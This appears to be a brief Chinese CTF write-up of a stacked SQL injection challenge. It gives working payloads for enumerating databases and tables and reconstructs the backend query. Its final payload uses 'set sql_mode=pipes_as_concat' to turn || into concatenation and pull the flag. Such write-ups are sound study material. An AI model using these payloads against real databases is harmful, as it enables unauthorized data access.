堆叠注入
sql_mode管道符
堆叠注入
试试
1;show databases;-- -
1;show tables;-- -
1;show columns from `Flag`;-- - # 最后两个
1;desc Flag;-- -
根据回显猜测代码里的SQL语句
回显用的是var_dump
函数,当查询语句为纯数字的时候才回显。
数据库的特性,当select
后面是数字的时候,即使查询的字段没有也不会报错,当查询的带有英文字母
的时候,就会产生报错,所以初步判断查询的内容应该不是以往那种SQL注入
的题目在where后面
而这里的就是在select后面
的 ,试一下查询1,2,3,4,5
猜想正确,注意到原本查询唯独末尾的5
变为了1
,猜测是用到了管道符
(|
||
之类的),导致5
回显失败,这里先试试看查询
*,1
直接得到了flag
,算是个非预期解
原php
代码中的SQL
语句应该是
$sql = "select ".$_POST[query]."|| xxx from Flag" ;
这时候我们可以利用数据库的语句,更改||
的意思,把它改为连接符
,这样的话,不管输入啥都会查询到flag
这个字段,构建payload
1;set sql_mode=pipes_as_concat;select 1
这样的话SQL语句就变成了
select 1;set sql_mode=pipes_as_concat;select 1 || flag from Flag